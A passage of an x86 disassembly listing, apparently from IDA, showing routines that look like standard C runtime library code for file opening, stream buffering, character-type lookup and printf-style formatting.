loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj
cmp [ebp+var_C], 0
jz short loc_41FB6C
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41FB47
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41FB52
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41FB70
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41F9BC+176j
cmp edi, [ebp+arg_4]
jnz short loc_41FB57
cmp [ebp+var_1], 0Ah
jnz short loc_41FB57
loc_41FB52: ; CODE XREF: sub_41F9BC+136j
; sub_41F9BC+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41FB6F
; ---------------------------------------------------------------------------
loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej
; sub_41F9BC+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_422F09
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41FB70
loc_41FB6C: ; CODE XREF: sub_41F9BC+167j
; sub_41F9BC+16Dj
mov byte ptr [edi], 0Dh
loc_41FB6F: ; CODE XREF: sub_41F9BC+199j
inc edi
loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej
; sub_41F9BC+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41FAC3
jmp short loc_41FB8E
; ---------------------------------------------------------------------------
loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41FB8E
or al, 2
mov [esi], al
loc_41FB8E: ; CODE XREF: sub_41F9BC+101j
; sub_41F9BC+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41FB94: ; CODE XREF: sub_41F9BC+DAj
mov eax, [ebp+var_8]
jmp short loc_41FBAD
; ---------------------------------------------------------------------------
loc_41FB99: ; CODE XREF: sub_41F9BC+12j
; sub_41F9BC+39j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj
; sub_41F9BC+C3j
or eax, 0FFFFFFFFh
loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j
; sub_41F9BC+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F9BC endp
; =============== S U B R O U T I N E =======================================
sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p
; sub_41BBE2+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DBE44
test eax, eax
jz short loc_41FBCA
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41FBCA
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41FBCA: ; CODE XREF: sub_41FBB2+7j
; sub_41FBB2+12j
xor eax, eax
retn
sub_41FBB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DBFB0
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41FC06
cmp al, 72h
jz short loc_41FBFF
cmp al, 77h
jnz loc_41FD1A
mov ecx, 301h
jmp short loc_41FC0B
; ---------------------------------------------------------------------------
loc_41FBFF: ; CODE XREF: sub_41FBCD+21j
xor ecx, ecx
or esi, 1
jmp short loc_41FC0E
; ---------------------------------------------------------------------------
loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj
mov ecx, 109h
loc_41FC0B: ; CODE XREF: sub_41FBCD+30j
or esi, 2
loc_41FC0E: ; CODE XREF: sub_41FBCD+37j
push 1
pop edx
loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj
; sub_41FBCD+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41FD00
cmp edx, ebx
jz loc_41FD00
movsx eax, al
cmp eax, 54h
jg short loc_41FC9F
jz short loc_41FC8F
sub eax, 2Bh
jz short loc_41FC79
sub eax, 19h
jz short loc_41FC6F
sub eax, 0Eh
jz short loc_41FC5A
dec eax
jnz loc_41FCF1
cmp [ebp+var_4], ebx
jnz loc_41FCF1
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj
cmp [ebp+var_4], ebx
jnz loc_41FCF1
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj
test cl, 40h
jnz short loc_41FCF1
or ecx, 40h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC79: ; CODE XREF: sub_41FBCD+65j
test cl, 2
jnz short loc_41FCF1
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC8F: ; CODE XREF: sub_41FBCD+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41FCF1
or ecx, eax
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej
sub eax, 62h
jz short loc_41FCEC
dec eax
jz short loc_41FCD5
sub eax, 0Bh
jz short loc_41FCBE
sub eax, 6
jnz short loc_41FCF1
test ch, 0C0h
jnz short loc_41FCF1
or ch, 40h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj
cmp [ebp+var_8], ebx
jnz short loc_41FCF1
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j
cmp [ebp+var_8], ebx
jnz short loc_41FCF1
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j
test ch, 0C0h
jz short loc_41FCF8
loc_41FCF1: ; CODE XREF: sub_41FBCD+72j
; sub_41FBCD+7Bj ...
xor edx, edx
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCF8: ; CODE XREF: sub_41FBCD+122j
or ch, 80h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj
; sub_41FBCD+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_42423B
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41FD1E
loc_41FD1A: ; CODE XREF: sub_41FBCD+25j
xor eax, eax
jmp short loc_41FD38
; ---------------------------------------------------------------------------
loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj
mov eax, [ebp+arg_C]
inc dword_4DBFAC
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FBCD endp
; =============== S U B R O U T I N E =======================================
sub_41FD3D proc near ; CODE XREF: sub_41BE82p
mov edx, dword_4DD020
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41FDAE
mov ebx, dword_4DC01C
mov edi, ebx
loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41FD74
test byte ptr [ecx+0Ch], 83h
jz short loc_41FD6F
inc eax
add edi, 4
cmp eax, edx
jl short loc_41FD59
jmp short loc_41FDAE
; ---------------------------------------------------------------------------
loc_41FD6F: ; CODE XREF: sub_41FD3D+26j
mov esi, [ebx+eax*4]
jmp short loc_41FD98
; ---------------------------------------------------------------------------
loc_41FD74: ; CODE XREF: sub_41FD3D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41BEB5
pop ecx
mov ecx, dword_4DC01C
mov [edi+ecx], eax
mov eax, dword_4DC01C
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41FDAE
mov esi, edi
loc_41FD98: ; CODE XREF: sub_41FD3D+35j
cmp esi, ebp
jz short loc_41FDAE
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41FDAE: ; CODE XREF: sub_41FD3D+12j
; sub_41FD3D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41FD3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p
; sub_41C0CE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41FDD3
mov ecx, off_43CE78
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41FE25
; ---------------------------------------------------------------------------
loc_41FDD3: ; CODE XREF: sub_41FDB5+10j
mov ecx, eax
push esi
mov esi, off_43CE78
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41FDF8
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41FE01
; ---------------------------------------------------------------------------
loc_41FDF8: ; CODE XREF: sub_41FDB5+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41FE01: ; CODE XREF: sub_41FDB5+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_4244F4
add esp, 1Ch
test eax, eax
jnz short loc_41FE21
leave
retn
; ---------------------------------------------------------------------------
loc_41FE21: ; CODE XREF: sub_41FDB5+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41FDB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE2A proc near ; CODE XREF: sub_41C266+46p
; sub_41C360+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41FF33
test al, 40h
jnz loc_41FF33
test al, 1
jz short loc_41FE62
and dword ptr [esi+4], 0
test al, 10h
jz loc_41FF33
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41FE62: ; CODE XREF: sub_41FE2A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41FE9C
cmp esi, offset dword_43D588
jz short loc_41FE8A
cmp esi, offset dword_43D5A8
jnz short loc_41FE95
loc_41FE8A: ; CODE XREF: sub_41FE2A+56j
push ebx
call sub_42463D
test eax, eax
pop ecx
jnz short loc_41FE9C
loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej
push esi
call sub_4241F7
pop ecx
loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej
; sub_41FE2A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41FF09
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41FECC
push edi
push eax
push ebx
call sub_4230FB
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41FEFF
; ---------------------------------------------------------------------------
loc_41FECC: ; CODE XREF: sub_41FE2A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41FEE7
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41FEEC
; ---------------------------------------------------------------------------
loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j
mov eax, offset dword_43D4D0
loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj
test byte ptr [eax+4], 20h
jz short loc_41FEFF
push 2
push 0
push ebx
call sub_422F09
add esp, 0Ch
loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j
; sub_41FE2A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41FF1D
; ---------------------------------------------------------------------------
loc_41FF09: ; CODE XREF: sub_41FE2A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_4230FB
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41FF29
or dword ptr [esi+0Ch], 20h
jmp short loc_41FF38
; ---------------------------------------------------------------------------
loc_41FF29: ; CODE XREF: sub_41FE2A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41FF3B
; ---------------------------------------------------------------------------
loc_41FF33: ; CODE XREF: sub_41FE2A+10j
; sub_41FE2A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41FF38: ; CODE XREF: sub_41FE2A+FDj
or eax, 0FFFFFFFFh
loc_41FF3B: ; CODE XREF: sub_41FE2A+107j
pop esi
pop ebx
pop ebp
retn
sub_41FE2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF3F proc near ; CODE XREF: sub_41C266+29p
; sub_41C360+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_420658
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41FF73
; ---------------------------------------------------------------------------
loc_41FF6B: ; CODE XREF: sub_41FF3F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj
cmp [ebp+var_14], edx
jl loc_420658
cmp bl, 20h
jl short loc_41FF94
cmp bl, 78h
jg short loc_41FF94
movsx eax, bl
mov al, [eax+42771Ch]
and eax, 0Fh
jmp short loc_41FF96
; ---------------------------------------------------------------------------
loc_41FF94: ; CODE XREF: sub_41FF3F+40j
; sub_41FF3F+45j
xor eax, eax
loc_41FF96: ; CODE XREF: sub_41FF3F+53j
movsx eax, ds:byte_42773C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_420647 ; default
jmp ds:off_420660[eax*4] ; switch jump
loc_41FFB4: ; DATA XREF: .text:off_420660o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .text:off_420660o
movsx eax, bl ; jumptable 0041FFAD case 2
sub eax, 20h
jz short loc_420012
sub eax, 3
jz short loc_420009
sub eax, 8
jz short loc_420000
dec eax
dec eax
jz short loc_41FFF7
sub eax, 3
jnz loc_420647 ; default
or [ebp+var_4], 8
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j
or [ebp+var_4], 4
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420000: ; CODE XREF: sub_41FF3F+A0j
or [ebp+var_4], 1
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420009: ; CODE XREF: sub_41FF3F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420012: ; CODE XREF: sub_41FF3F+96j
or [ebp+var_4], 2
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42001B: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .text:off_420660o
cmp bl, 2Ah ; jumptable 0041FFAD case 3
jnz short loc_420043
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_420647 ; default
or [ebp+var_4], 4
neg eax
loc_42003B: ; CODE XREF: sub_41FF3F+111j
mov [ebp+var_20], eax
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420043: ; CODE XREF: sub_41FF3F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_42003B
; ---------------------------------------------------------------------------
loc_420052: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .text:off_420660o
mov [ebp+var_10], edx ; jumptable 0041FFAD case 4
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42005A: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .text:off_420660o
cmp bl, 2Ah ; jumptable 0041FFAD case 5
jnz short loc_42007D
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_420647 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42007D: ; CODE XREF: sub_41FF3F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42008F: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .text:off_420660o
cmp bl, 49h ; jumptable 0041FFAD case 6
jz short loc_4200C2
cmp bl, 68h
jz short loc_4200B9
cmp bl, 6Ch
jz short loc_4200B0
cmp bl, 77h
jnz loc_420647 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj
or [ebp+var_4], 10h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_41FF3F+158j
or [ebp+var_4], 20h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200C2: ; CODE XREF: sub_41FF3F+153j
cmp byte ptr [edi], 36h
jnz short loc_4200DB
cmp byte ptr [edi+1], 34h
jnz short loc_4200DB
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200DB: ; CODE XREF: sub_41FF3F+186j
; sub_41FF3F+18Cj
mov [ebp+var_30], edx
loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .text:off_420660o
mov ecx, off_43CE78 ; jumptable 0041FFAD case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42010A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420680
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_42010A: ; CODE XREF: sub_41FF3F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420680
add esp, 0Ch
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420122: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .text:off_420660o
movsx eax, bl ; jumptable 0041FFAD case 7
cmp eax, 67h
jg loc_42034A
cmp eax, 65h
jge loc_4201CD
cmp eax, 58h
jg loc_42022B
jz loc_4203BE
sub eax, 43h
jz loc_4201EE
dec eax
dec eax
jz short loc_4201C3
dec eax
dec eax
jz short loc_4201C3
sub eax, 0Ch
jnz loc_420549
test word ptr [ebp+var_4], 830h
jnz short loc_42016C
or byte ptr [ebp+var_4+1], 8
loc_42016C: ; CODE XREF: sub_41FF3F+227j
; sub_41FF3F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_420179
mov esi, 7FFFFFFFh
loc_420179: ; CODE XREF: sub_41FF3F+233j
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_420392
test ecx, ecx
jnz short loc_4201A1
mov ecx, off_43D094
mov [ebp+var_8], ecx
loc_4201A1: ; CODE XREF: sub_41FF3F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_4201AA: ; CODE XREF: sub_41FF3F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_420389
cmp word ptr [eax], 0
jz loc_420389
inc eax
inc eax
jmp short loc_4201AA
; ---------------------------------------------------------------------------
loc_4201C3: ; CODE XREF: sub_41FF3F+212j
; sub_41FF3F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_4202B1
mov [ebp+var_10], 6
jmp loc_4202BF
; ---------------------------------------------------------------------------
loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_4201FA
or byte ptr [ebp+var_4+1], 8
loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j
; sub_41FF3F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_420241
call sub_42073B
push eax
lea eax, [ebp+var_248]
push eax
call sub_424663
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_420254
mov [ebp+var_28], 1
jmp short loc_420254
; ---------------------------------------------------------------------------
loc_42022B: ; CODE XREF: sub_41FF3F+1FBj
sub eax, 5Ah
jz short loc_420262
sub eax, 9
jz short loc_4201FA
dec eax
jz loc_420424
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420241: ; CODE XREF: sub_41FF3F+2C5j
call sub_42071E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_420254: ; CODE XREF: sub_41FF3F+2E1j
; sub_41FF3F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420262: ; CODE XREF: sub_41FF3F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
jz short loc_4202A3
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4202A3
test byte ptr [ebp+var_4+1], 8
jz short loc_420294
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420294: ; CODE XREF: sub_41FF3F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_420546
; ---------------------------------------------------------------------------
loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj
; sub_41FF3F+336j
mov eax, off_43D090
mov [ebp+var_8], eax
push eax
jmp loc_42033F
; ---------------------------------------------------------------------------
loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj
jnz short loc_4202BF
cmp bl, 67h
jnz short loc_4202BF
mov [ebp+var_10], 1
loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj
; sub_41FF3F:loc_4202B1j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43D420
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_420311
cmp [ebp+var_10], 0
jnz short loc_420311
lea eax, [ebp+var_248]
push eax
call off_43D42C
pop ecx
loc_420311: ; CODE XREF: sub_41FF3F+3BCj
; sub_41FF3F+3C2j
cmp bl, 67h
jnz short loc_420328
test esi, esi
jnz short loc_420328
lea eax, [ebp+var_248]
push eax
call off_43D424
pop ecx
loc_420328: ; CODE XREF: sub_41FF3F+3D5j
; sub_41FF3F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_42033E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_42033E: ; CODE XREF: sub_41FF3F+3F0j
push edi
loc_42033F: ; CODE XREF: sub_41FF3F+36Dj
call sub_41B9C0
pop ecx
jmp loc_420546
; ---------------------------------------------------------------------------
loc_42034A: ; CODE XREF: sub_41FF3F+1E9j
sub eax, 69h
jz loc_420424
sub eax, 5
jz loc_4203FA
dec eax
jz loc_4203E7
dec eax
jz short loc_4203B7
sub eax, 3
jz loc_42016C
dec eax
dec eax
jz loc_420428
sub eax, 3
jnz loc_420549
mov [ebp+var_2C], 27h
jmp short loc_4203C5
; ---------------------------------------------------------------------------
loc_420389: ; CODE XREF: sub_41FF3F+270j
; sub_41FF3F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_420546
; ---------------------------------------------------------------------------
loc_420392: ; CODE XREF: sub_41FF3F+24Fj
test ecx, ecx
jnz short loc_42039F
mov ecx, off_43D090
mov [ebp+var_8], ecx
loc_42039F: ; CODE XREF: sub_41FF3F+455j
mov eax, ecx
loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4203B0
cmp byte ptr [eax], 0
jz short loc_4203B0
inc eax
jmp short loc_4203A1
; ---------------------------------------------------------------------------
loc_4203B0: ; CODE XREF: sub_41FF3F+467j
; sub_41FF3F+46Cj
sub eax, ecx
jmp loc_420546
; ---------------------------------------------------------------------------
loc_4203B7: ; CODE XREF: sub_41FF3F+425j
mov [ebp+var_10], 8
loc_4203BE: ; CODE XREF: sub_41FF3F+201j
mov [ebp+var_2C], 7
loc_4203C5: ; CODE XREF: sub_41FF3F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_42042F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_42042F
or byte ptr [ebp+var_4+1], 2
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_4203FA: ; CODE XREF: sub_41FF3F+417j
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_420413
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_420418
; ---------------------------------------------------------------------------
loc_420413: ; CODE XREF: sub_41FF3F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_420418: ; CODE XREF: sub_41FF3F+4D2j
mov [ebp+var_28], 1
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420424: ; CODE XREF: sub_41FF3F+2F7j
; sub_41FF3F+40Ej
or [ebp+var_4], 40h
loc_420428: ; CODE XREF: sub_41FF3F+432j
mov [ebp+var_C], 0Ah
loc_42042F: ; CODE XREF: sub_41FF3F+491j
; sub_41FF3F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_420441
lea eax, [ebp+arg_8]
push eax
call sub_42072B
pop ecx
jmp short loc_420482
; ---------------------------------------------------------------------------
loc_420441: ; CODE XREF: sub_41FF3F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_420468
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42045D
call sub_42071E
pop ecx
movsx eax, ax
loc_42045A: ; CODE XREF: sub_41FF3F+527j
; sub_41FF3F+539j
cdq
jmp short loc_420482
; ---------------------------------------------------------------------------
loc_42045D: ; CODE XREF: sub_41FF3F+510j
call sub_42071E
pop ecx
movzx eax, ax
jmp short loc_42045A
; ---------------------------------------------------------------------------
loc_420468: ; CODE XREF: sub_41FF3F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42047A
call sub_42071E
pop ecx
jmp short loc_42045A
; ---------------------------------------------------------------------------
loc_42047A: ; CODE XREF: sub_41FF3F+531j
call sub_42071E
pop ecx
xor edx, edx
